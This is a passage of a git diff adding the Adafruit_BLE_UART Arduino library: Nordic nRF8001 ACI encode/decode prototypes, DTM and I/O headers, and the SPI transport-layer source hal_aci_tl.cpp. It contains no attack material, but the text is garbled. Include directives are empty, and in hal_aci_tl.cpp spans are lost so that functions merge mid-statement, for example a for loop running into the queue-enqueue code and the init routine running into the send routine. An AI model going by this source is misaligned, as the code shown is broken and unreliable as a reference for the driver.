::aci_cmd_params_disconnect_t + * + * @return None + */ +void acil_encode_cmd_disconnect(uint8_t *buffer, aci_cmd_params_disconnect_t *p_aci_cmd_params_disconnect); + +/** @brief Encode the ACI message to baseband reset + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ + void acil_encode_baseband_reset(uint8_t *buffer); + + /** @brief Encode the ACI message for Directed Advertising + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ + void acil_encode_direct_connect(uint8_t *buffer); + +/** @brief Encode the ACI message to wakeup + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_wakeup(uint8_t *buffer); + +/** @brief Encode the ACI message for set radio Tx power + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_tx_power Pointer to the set Tx power parameters in ::aci_cmd_params_set_tx_power_t + * + * @return None + */ +void acil_encode_cmd_set_radio_tx_power(uint8_t *buffer, aci_cmd_params_set_tx_power_t *p_aci_cmd_params_set_tx_power); + +/** @brief Encode the ACI message for get device address + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_get_address(uint8_t *buffer); + +/** @brief Encode the ACI message for send data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_send_data_t Pointer to the data parameters in ::aci_cmd_params_send_data_t + * @param[in] data_size Size of data message + * + * @return None + */ +void acil_encode_cmd_send_data(uint8_t *buffer, aci_cmd_params_send_data_t *p_aci_cmd_params_send_data_t, uint8_t data_size); + +/** @brief Encode the ACI message for request data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_request_data Pointer to the request data parameters in ::aci_cmd_params_request_data_t + * + * @return None + */ +void acil_encode_cmd_request_data(uint8_t *buffer, aci_cmd_params_request_data_t *p_aci_cmd_params_request_data); + +/** @brief Encode the ACI message for open remote pipe + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_open_remote_pipe Pointer to the dynamic data parameters in ::aci_cmd_params_open_remote_pipe_t + * + * @return None + */ +void acil_encode_cmd_open_remote_pipe(uint8_t *buffer, aci_cmd_params_open_remote_pipe_t *p_aci_cmd_params_open_remote_pipe); + +/** @brief Encode the ACI message for close remote pipe + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_close_remote_pipe Pointer to the dynamic data parameters in ::aci_cmd_params_close_remote_pipe_t + * + * @return None + */ +void acil_encode_cmd_close_remote_pipe(uint8_t *buffer, aci_cmd_params_close_remote_pipe_t *p_aci_cmd_params_close_remote_pipe); + +/** @brief Encode the ACI message for echo message + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_echo Pointer to the dynamic data parameters in ::aci_cmd_params_echo_t + * @param[in] msg_size Size of the message + * + * @return None + */ +void acil_encode_cmd_echo_msg(uint8_t *buffer, aci_cmd_params_echo_t *p_cmd_params_echo, uint8_t msg_size); + +/** @brief Encode the ACI message to battery level + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_battery_level(uint8_t *buffer); + +/** @brief Encode the ACI message to temparature + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_temparature(uint8_t *buffer); + +/** @brief Encode the ACI message to read dynamic data + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_read_dynamic_data(uint8_t *buffer); + +/** @brief Encode the ACI message to change timing request + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_change_timing Pointer to the change timing parameters in ::aci_cmd_params_change_timing_t + * + * @return None + */ +void acil_encode_cmd_change_timing_req(uint8_t *buffer, aci_cmd_params_change_timing_t *p_aci_cmd_params_change_timing); + +/** @brief Encode the ACI message to change timing request using the timing parameters from GAP PPCP + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_change_timing Pointer to the change timing parameters in ::aci_cmd_params_change_timing_t + * + * @return None + */ +void acil_encode_cmd_change_timing_req_GAP_PPCP(uint8_t *buffer); + + +/** @brief Encode the ACI message for write dynamic data + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] seq_no Sequence number of the dynamic data (as received in the response to @c Read Dynamic Data) + * @param[in] dynamic_data Pointer to the dynamic data + * @param[in] dynamic_data_size Size of dynamic data + * + * @return None + */ +void acil_encode_cmd_write_dynamic_data(uint8_t *buffer, uint8_t seq_no, uint8_t* dynamic_data, uint8_t dynamic_data_size); + +/** @brief Encode the ACI message to send data acknowledgement + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] pipe_number Pipe number for which the ack is to be sent + * + * @return None + */ +void acil_encode_cmd_send_data_ack(uint8_t *buffer, const uint8_t pipe_number); + +/** @brief Encode the ACI message to send negative acknowledgement + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] pipe_number Pipe number for which the nack is to be sent + * @param[in] error_code Error code that has to be sent in the NACK + * + * @return None + */ +void acil_encode_cmd_send_data_nack(uint8_t *buffer, const uint8_t pipe_number,const uint8_t error_code); + +/** @brief Encode the ACI message to set the application latency + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd_params_set_app_latency Pointer to the set_application_latency command parameters in ::aci_cmd_params_dtm_cmd_t + * + * @return None + */ +void acil_encode_cmd_set_app_latency(uint8_t *buffer, aci_cmd_params_set_app_latency_t *p_aci_cmd_params_set_app_latency); + +/** @brief Encode the ACI message for setup + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_set_run_behaviour Pointer to the setup data in ::aci_cmd_params_setup_t + * @param[in] setup_data_size Size of setup message + * + * @return None + */ +void acil_encode_cmd_setup(uint8_t *buffer, aci_cmd_params_setup_t *p_aci_cmd_params_setup, uint8_t setup_data_size); + +/** @brief Encode the ACI message for DTM command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_cmd_params_set_run_behaviour Pointer to the DTM command parameters in ::aci_cmd_params_dtm_cmd_t + * + * @return None + */ +void acil_encode_cmd_dtm_cmd(uint8_t *buffer, aci_cmd_params_dtm_cmd_t *p_aci_cmd_params_dtm_cmd); + +/** @brief Encode the ACI message for Set Key Request command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_set_key(uint8_t *buffer, aci_cmd_params_set_key_t *p_aci_cmd_params_set_key); + +/** @brief Encode the ACI message for Bond Security Request command + * + * @param[in,out] buffer Pointer to ACI message buffer + * + * @return None + */ +void acil_encode_cmd_bond_security_request(uint8_t *buffer); + +/** @brief Encode the ACI message + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_t + * @param[in] bool + * + * @return bool true, if succesful, else returns false + */ +bool acil_encode_cmd(uint8_t *buffer, aci_cmd_t *p_aci_cmd); + +/** @brief Encode the ACI message for Broadcast command + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_params_broadcast_t + * + * @return None + */ +void acil_encode_cmd_broadcast(uint8_t *buffer, aci_cmd_params_broadcast_t * p_aci_cmd_params_broadcast); + +/** @brief Encode the ACI message for Open Adv Pipes + * + * @param[in,out] buffer Pointer to ACI message buffer + * @param[in] p_aci_cmd Pointer to ACI command data in ::aci_cmd_params_open_adv_pipe_t + * + * @return None + */ +void acil_encode_cmd_open_adv_pipes(uint8_t *buffer, aci_cmd_params_open_adv_pipe_t * p_aci_cmd_params_set_adv_svc_data); + +/** @brief Decode the ACI event command response + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] buffer Pointer to the decoded message in ::aci_evt_params_cmd_rsp_t + * + * @return None + */ +void acil_decode_evt_command_response(uint8_t *buffer_in, aci_evt_params_cmd_rsp_t *p_evt_params_cmd_rsp); + +/** @brief Decode the ACI event device started + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_params_device_started_t + * + * @return None + */ +void acil_decode_evt_device_started(uint8_t *buffer_in, aci_evt_params_device_started_t *p_evt_params_device_started); + +/** @brief Decode the ACI event pipe status + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_pipe_status Pointer to the decoded message in ::aci_evt_params_pipe_status_t + * + * @return None + */ +void acil_decode_evt_pipe_status(uint8_t *buffer_in, aci_evt_params_pipe_status_t *p_aci_evt_params_pipe_status); + +/** @brief Decode the ACI event for disconnected + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_disconnected Pointer to the decoded message in ::aci_evt_params_disconnected_t + * + * @return None + */ +void acil_decode_evt_disconnected(uint8_t *buffer_in, aci_evt_params_disconnected_t *p_aci_evt_params_disconnected); + +/** @brief Decode the ACI event for bond status + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_bond_status Pointer to the decoded message in ::aci_evt_params_bond_status_t + * + * @return None + */ +void acil_decode_evt_bond_status(uint8_t *buffer_in, aci_evt_params_bond_status_t *p_aci_evt_params_bond_status); + +/** @brief Decode the ACI event for data received + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_received Pointer to the decoded message in ::aci_evt_params_data_received_t + * + * @return size Received data size + */ +uint8_t acil_decode_evt_data_received(uint8_t *buffer_in, aci_evt_params_data_received_t *p_evt_params_data_received); + +/** @brief Decode the ACI event data acknowledgement + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_ack Pointer to the decoded message in ::aci_evt_params_data_ack_t + * + * @return None + */ +void acil_decode_evt_data_ack(uint8_t *buffer_in, aci_evt_params_data_ack_t *p_evt_params_data_ack); + +/** @brief Decode the ACI event for hardware error + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_hw_error Pointer to the decoded message in ::aci_evt_params_hw_error_t + * + * @return size Size of debug information + */ +uint8_t acil_decode_evt_hw_error(uint8_t *buffer_in, aci_evt_params_hw_error_t *p_aci_evt_params_hw_error); + +/** @brief Decode the ACI event data credit + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_data_credit Pointer to the decoded message in ::aci_evt_params_data_credit_t + * + * @return None + */ +void acil_decode_evt_credit(uint8_t *buffer_in, aci_evt_params_data_credit_t *p_evt_params_data_credit); + +/** @brief Decode the ACI event for connected + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt_params_connected Pointer to the decoded message in ::aci_evt_params_connected_t + * + * @return None + */ +void acil_decode_evt_connected(uint8_t *buffer_in, aci_evt_params_connected_t *p_aci_evt_params_connected); + +/** @brief Decode the ACI event for timing + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_timing Pointer to the decoded message in ::aci_evt_params_timing_t + * + * @return None + */ +void acil_decode_evt_timing(uint8_t *buffer_in, aci_evt_params_timing_t *p_evt_params_timing); + +/** @brief Decode the ACI event for pipe error + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_pipe_error Pointer to the decoded message in ::aci_evt_params_pipe_error_t + * + */ +void acil_decode_evt_pipe_error(uint8_t *buffer_in, aci_evt_params_pipe_error_t *p_evt_params_pipe_error); + +/** @brief Decode the ACI event for key request + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_evt_params_key_type Pointer to the decoded message in ::aci_evt_params_key_type_t + * + * @return None + */ +void acil_decode_evt_key_request(uint8_t *buffer_in, aci_evt_params_key_request_t *p_evt_params_key_request); + +/** @brief Decode the ACI event for echo + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] buffer_out Pointer to the echo message (max size of buffer ::ACI_ECHO_DATA_MAX_LEN) + * + * @return size Received echo message size + */ +uint8_t acil_decode_evt_echo(uint8_t *buffer_in, aci_evt_params_echo_t *buffer_out); + +/** @brief Decode the ACI event + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_t + * + * @return bool true, if succesful, else returns false + */ +bool acil_decode_evt(uint8_t *buffer_in, aci_evt_t *p_aci_evt); + +/** @brief Decode the Display Key Event + * + * @param[in] buffer_in Pointer to message received + * @param[in,out] p_aci_evt Pointer to the decoded message in ::aci_evt_params_display_passkey_t + * + * @return None + */ +void acil_decode_evt_display_passkey(uint8_t *buffer_in, aci_evt_params_display_passkey_t *p_aci_evt_params_display_passkey); + +#endif /* _acilib_IF_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h new file mode 100755 index 0000000..02d1256 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/acilib_types.h @@ -0,0 +1,25 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Type used in the acilib interfaces + */ + +#ifndef _acilib_TYPES_H_ +#define _acilib_TYPES_H_ + +#endif /* _acilib_TYPES_H_ */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h new file mode 100755 index 0000000..40d3e26 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/ble_system.h @@ -0,0 +1,22 @@ +#ifndef BLE_SYSTEM_H_ +#define BLE_SYSTEM_H + +/* +#define HAL_IO_RADIO_CSN SS +#define HAL_IO_RADIO_REQN SS +#define HAL_IO_RADIO_RDY 3 +#define HAL_IO_RADIO_SCK SCK +#define HAL_IO_RADIO_MOSI MOSI +#define HAL_IO_RADIO_MISO MISO +#define HAL_IO_RADIO_RESET 9 +#define HAL_IO_RADIO_ACTIVE 8 + +//#define HAL_IO_LED0 2 +//#define HAL_IO_LED1 6 +*/ + +#define ENABLE_INTERRUPTS() sei() +#define DISABLE_INTERRUPTS() cli() +#define ARE_INTERRUPTS_ENABLED() ((SREG & 0x80) == 0x80) + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h new file mode 100755 index 0000000..bb24cad --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/dtm.h @@ -0,0 +1,55 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @ingroup group_acilib + * + * @brief Internal prototype for acilib module. + */ + +#ifndef DTM_H__ +#define DTM_H__ + +/** @brief DTM command codes (upper two bits in the DTM command), use a bitwise OR with the frequency N = 0x00 – 0x27: N = (F-2402)/2 Frequency Range 2402 MHz +to 2480 MHz*/ +#define DTM_LE_CMD_RESET 0x00 +#define DTM_LE_CMD_RECEIVER_TEST 0x40 +#define DTM_LE_CMD_TRANSMITTER_TEST 0x80 +#define DTM_LE_CMD_TEST_END 0xC0 + + +/** @brief Defined packet types for DTM */ +#define DTM_LE_PKT_PRBS9 0x00 /**< Bit pattern PRBS9. */ +#define DTM_LE_PKT_0X0F 0x01 /**< Bit pattern 11110000 (LSB is the leftmost bit). */ +#define DTM_LE_PKT_0X55 0x02 /**< Bit pattern 10101010 (LSB is the leftmost bit). */ +#define DTM_LE_PKT_VENDOR 0x03 /**< Vendor specific. Nordic: continous carrier test */ + +/** @brief Defined bit fields for DTM responses. */ +#define LE_PACKET_REPORTING_EVENT_MSB_BIT 0x80 +#define LE_TEST_STATUS_EVENT_LSB_BIT 0x01 + +/** @brief DTM response types. */ +#define LE_TEST_STATUS_EVENT 0x00 +#define LE_TEST_PACKET_REPORT_EVENT 0x80 + +/** @brief DTM return values. */ +#define LE_TEST_STATUS_SUCCESS 0x00 +#define LE_TEST_STATUS_FAILURE 0x01 + + + +#endif //DTM_H__ + +/** @} */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h new file mode 100755 index 0000000..518c82b --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_aci_tl.h @@ -0,0 +1,108 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** @file + * @brief Interface for hal_aci_tl. + */ + +/** @defgroup hal_aci_tl hal_aci_tl +@{ +@ingroup hal + +@brief Module for the ACI Transport Layer interface +@details This module is responsible for sending and receiving messages over the ACI interface of the nRF8001 chip. + The hal_aci_tl_send_cmd() can be called directly to send ACI commands. + + +The RDYN line is hooked to an interrupt on the MCU when the level is low. +The SPI master clocks in the interrupt context. +The ACI Command is taken from the head of the command queue is sent over the SPI +and the received ACI event is placed in the tail of the event queue. + +*/ + +#ifndef HAL_ACI_TL_H__ +#define HAL_ACI_TL_H__ + +#include "hal_platform.h" + +#ifndef HAL_ACI_MAX_LENGTH +#define HAL_ACI_MAX_LENGTH 31 +#endif //HAL_ACI_MAX_LENGTH + +#define ACI_QUEUE_SIZE 8 + +/** Data type for ACI commands and events */ +typedef struct hal_aci_data_t{ + uint8_t status_byte; + uint8_t buffer[HAL_ACI_MAX_LENGTH+1]; +} hal_aci_data_t; + + +/** @brief Message received hook function. + * @details A hook function that must be implemented by the client of this module. + * The function will be called by this module when a new message has been received from the nRF8001. + * @param received_msg Pointer to a structure containing a pointer to the received data. + */ +extern void hal_aci_tl_msg_rcv_hook(hal_aci_data_t *received_msg); + +/** ACI Transport Layer configures inputs/outputs. + */ +void hal_aci_tl_io_config(void); + + +/** ACI Transport Layer initialization. + */ +void hal_aci_tl_init(void); + +/**@brief Sends an ACI command to the radio. + * @details + * This function sends an ACI command to the radio. This will memorize the pointer of the message to send and + * lower the request line. When the device lowers the ready line, @ref hal_aci_tl_poll_rdy_line() will send the data. + * @param aci_buffer Pointer to the message to send. + * @return True if the send is started successfully, false if a transaction is already running. + */ +bool hal_aci_tl_send(hal_aci_data_t *aci_buffer); + + +/** @brief Check for pending transaction. + * @details + * Call this function from the main context at regular intervals to check if the nRF8001 RDYN line indicates a pending transaction. + * If a transaction is pending, this function will treat it and call the receive hook. + */ +void hal_aci_tl_poll_rdy_line(void); + +hal_aci_data_t * hal_aci_tl_poll_get(void); + +bool hal_aci_tl_event_get(hal_aci_data_t *p_aci_data); + +/** @brief Flush the ACI command Queue and the ACI Event Queue + * @details + * Call this function in the main thread +*/ +void m_aci_q_flush(void); + +/** @brief Enable debug printing of all ACI commands sent and ACI events received + * @details + * when the enable parameter is true. The debug printing is enabled on the Serial. + * When the enable parameter is false. The debug printing is disabled on the Serial. + * By default the debug printing is disabled. +*/ +void hal_aci_debug_print(bool enable); + +#endif // HAL_ACI_TL_H__ +/** @} */ + + + + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h new file mode 100755 index 0000000..d0e9f6c --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal/hal_io.h @@ -0,0 +1,71 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** @file +*/ + +/** @defgroup hal_io hal_io + * @{ + * @ingroup hal + * @brief Macros input/output management +*/ + +#include "hal_platform.h" + +#ifndef HAL_IO_H__ +#define HAL_IO_H__ + +#define HAL_IO_P00 PIN0 +#define HAL_IO_P01 PIN1 +#define HAL_IO_P02 PIN2 +#define HAL_IO_P03 PIN3 +#define HAL_IO_P04 PIN4 +#define HAL_IO_P05 PIN5 +#define HAL_IO_P06 PIN6 +#define HAL_IO_P07 PIN7 +#define HAL_IO_P08 PIN8 +#define HAL_IO_P09 PIN9 + +#define HAL_IO_OUTPUT OUTPUT +#define HAL_IO_INPUT INPUT + +/**@brief Macro to configure an I/O. + * @details + * This macro configures a given I/O to input or output with pullup/buffer configuration. + * @param io_name I/O to configure. + * @param is_input Indicate if the I/O is to be set as an input. + * @param io_mode Pull resistor and buffer configuration (must be HAL_IO_OUTPUT_NORMAL_STRENGTH, HAL_IO_OUTPUT_HIGH_STRENGTH, HAL_IO_INPUT_BUF_ON_NO_PULL, + * HAL_IO_INPUT_BUF_ON_PULL_DOWN, HAL_IO_INPUT_BUF_ON_PULL_UP, or HAL_IO_INPUT_BUF_OFF). +*/ +#define HAL_IO_CONFIG(io_name, is_input, io_mode) pinMode(io_name, is_input) + +/**@brief Macro to set an output. + * @details + * This macro sets the given output to the given level (1 -> high, 0 -> low). + * @param io_name Output to change. + * @param io_state Level to set. +*/ +#define HAL_IO_SET_STATE(io_name, io_state) digitalWrite(io_name, io_state) + +/**@brief Macro that reads the current state of an input. + * @details + * This macro reads the current state of a logical input. + * @param io_name Input to read. + * @return Input state level (1 if high, 0 if low). +*/ +#define HAL_IO_READ(io_name) digitalRead(io_name) + + +#endif //HAL_IO_H__ + +/** @} */ diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp new file mode 100755 index 0000000..f4a6c7a --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/hal_aci_tl.cpp @@ -0,0 +1,425 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision: 4808 $ + */ + +/** @file +@brief Implementation of the ACI transport layer module +*/ + +#include +#include "hal_platform.h" +#include "hal/hal_aci_tl.h" +#include "hal/hal_io.h" +#include "ble_system.h" +#include + +extern int8_t HAL_IO_RADIO_RESET, HAL_IO_RADIO_REQN, HAL_IO_RADIO_RDY, HAL_IO_RADIO_IRQ; + +static const uint8_t dreqinttable[] = { +#if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) || defined (__AVR_ATmega328__) || defined(__AVR_ATmega8__) + 2, 0, + 3, 1, +#elif defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2561__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega1280__) + 2, 0, + 3, 1, + 21, 2, + 20, 3, + 19, 4, + 18, 5, +#elif defined(__AVR_ATmega32U4__) && defined(CORE_TEENSY) + 5, 0, + 6, 1, + 7, 2, + 8, 3, +#elif defined(__AVR_AT90USB1286__) && defined(CORE_TEENSY) + 0, 0, + 1, 1, + 2, 2, + 3, 3, + 36, 4, + 37, 5, + 18, 6, + 19, 7, +#elif defined(__arm__) && defined(CORE_TEENSY) + 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, + 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, + 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, + 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, + 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, + 25, 25, 26, 26, 27, 27, 28, 28, 29, 29, + 30, 30, 31, 31, 32, 32, 33, 33, +#elif defined(__AVR_ATmega32U4__) + 7, 4, + 3, 0, + 2, 1, + 0, 2, + 1, 3, +#elif defined(__AVR_ATmega256RFR2__) + 4, 0, + 5, 1, + 15, 2, + 16, 3, + 13, 4, + 14, 5, + 7, 6, + 18, 7, +#endif +}; + + +static void m_print_aci_data(hal_aci_data_t *p_data); + +typedef struct { + hal_aci_data_t aci_data[ACI_QUEUE_SIZE]; + uint8_t head; + uint8_t tail; +} aci_queue_t; + +static hal_aci_data_t received_data; +static uint8_t spi_readwrite(uint8_t aci_byte); +static bool aci_debug_print; + + + + +static aci_queue_t aci_tx_q; +static aci_queue_t aci_rx_q; + +static void m_aci_q_init(aci_queue_t *aci_q) +{ + uint8_t loop; + + aci_debug_print = false; + aci_q->head = 0; + aci_q->tail = 0; + for(loop=0; looptail + 1) % ACI_QUEUE_SIZE; + const uint8_t length = p_data->buffer[0]; + + if (next == aci_q->head) + { + /* full queue */ + return false; + } + aci_q->aci_data[aci_q->tail].status_byte = 0; + + memcpy((uint8_t *)&(aci_q->aci_data[aci_q->tail].buffer[0]), (uint8_t *)&p_data->buffer[0], length + 1); + aci_q->tail = next; + + return true; +} + +//@comment after a port have test for the queue states, esp. the full and the empty states +static bool m_aci_q_dequeue(aci_queue_t *aci_q, hal_aci_data_t *p_data) +{ + if (aci_q->head == aci_q->tail) + { + /* empty queue */ + return false; + } + + memcpy((uint8_t *)p_data, (uint8_t *)&(aci_q->aci_data[aci_q->head]), sizeof(hal_aci_data_t)); + aci_q->head = (aci_q->head + 1) % ACI_QUEUE_SIZE; + + return true; +} + +static bool m_aci_q_is_empty(aci_queue_t *aci_q) +{ + return (aci_q->head == aci_q->tail); +} + +static bool m_aci_q_is_full(aci_queue_t *aci_q) +{ + uint8_t next; + bool state; + + //This should be done in a critical section + noInterrupts(); + next = (aci_q->tail + 1) % ACI_QUEUE_SIZE; + + if (next == aci_q->head) + { + state = true; + } + else + { + state = false; + } + + interrupts(); + //end + + return state; +} + + + +void m_print_aci_data(hal_aci_data_t *p_data) +{ + const uint8_t length = p_data->buffer[0]; + uint8_t i; + Serial.print(length, DEC); + Serial.print(" :"); + for (i=0; i<=length; i++) + { + Serial.print(p_data->buffer[i], HEX); + Serial.print(F(", ")); + } + Serial.println(F("")); +} + +void toggle_eimsk(bool state) +{ + /* ToDo: This will currently only work with the UNO/ATMega48/88/128/328 */ + /* due to EIMSK. Abstract this away to something MCU nuetral! */ + uint8_t eimsk_bit = 0xFF; + for (uint8_t i=0; ibuffer[0] > 0) + { + if (!m_aci_q_enqueue(&aci_rx_q, p_aci_data)) + { + /* Receive Buffer full. + Should never happen. + Spin in a while loop. + */ + while(1); + } + if (m_aci_q_is_full(&aci_rx_q)) + { + /* Disable RDY line interrupt. + Will latch any pending RDY lines, so when enabled it again this + routine should be taken again */ + toggle_eimsk(false); + } + } +} + +bool hal_aci_tl_event_get(hal_aci_data_t *p_aci_data) +{ + bool was_full = m_aci_q_is_full(&aci_rx_q); + + if (m_aci_q_dequeue(&aci_rx_q, p_aci_data)) + { + if (true == aci_debug_print) + { + Serial.print(" E"); + m_print_aci_data(p_aci_data); + } + + if (was_full) + { + toggle_eimsk(true); + } + return true; + } + else + { + return false; + } +} + +void hal_aci_tl_init() +{ + received_data.buffer[0] = 0; + + SPI.begin(); + SPI.setBitOrder(LSBFIRST); + SPI.setClockDivider(SPI_CLOCK_DIV8); + SPI.setDataMode(SPI_MODE0); + + + + /* initialize aci cmd queue */ + m_aci_q_init(&aci_tx_q); + m_aci_q_init(&aci_rx_q); + + //Configure the IO lines + pinMode(HAL_IO_RADIO_RESET, OUTPUT); + pinMode(HAL_IO_RADIO_RDY, INPUT_PULLUP); + pinMode(HAL_IO_RADIO_REQN, OUTPUT); + + digitalWrite(HAL_IO_RADIO_RESET, 1); + delay(100); + digitalWrite(HAL_IO_RADIO_RESET, 0); + digitalWrite(HAL_IO_RADIO_RESET, 1); + + digitalWrite(SCK, 0); + digitalWrite(MOSI, 0); + digitalWrite(HAL_IO_RADIO_REQN, 1); + digitalWrite(SCK, 0); + + HAL_IO_RADIO_IRQ = 0xFF; + for (uint8_t i=0; ibuffer[0]; + bool ret_val = false; + + if (length > HAL_ACI_MAX_LENGTH) + { + return false; + } + else + { + if (m_aci_q_enqueue(&aci_tx_q, p_aci_cmd)) + { + ret_val = true; + } + } + + if (true == aci_debug_print) + { + Serial.print("C"); + m_print_aci_data(p_aci_cmd); + } + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + return ret_val; +} + + + +hal_aci_data_t * hal_aci_tl_poll_get(void) +{ + uint8_t byte_cnt; + uint8_t byte_sent_cnt; + uint8_t max_bytes; + hal_aci_data_t data_to_send; + + + //SPI.begin(); + + HAL_IO_SET_STATE(HAL_IO_RADIO_REQN, 0); + + // Receive from queue + if (m_aci_q_dequeue(&aci_tx_q, &data_to_send) == false) + { + /* queue was empty, nothing to send */ + data_to_send.status_byte = 0; + data_to_send.buffer[0] = 0; + } + + //Change this if your mcu has DMA for the master SPI + + // Send length, receive header + byte_sent_cnt = 0; + received_data.status_byte = 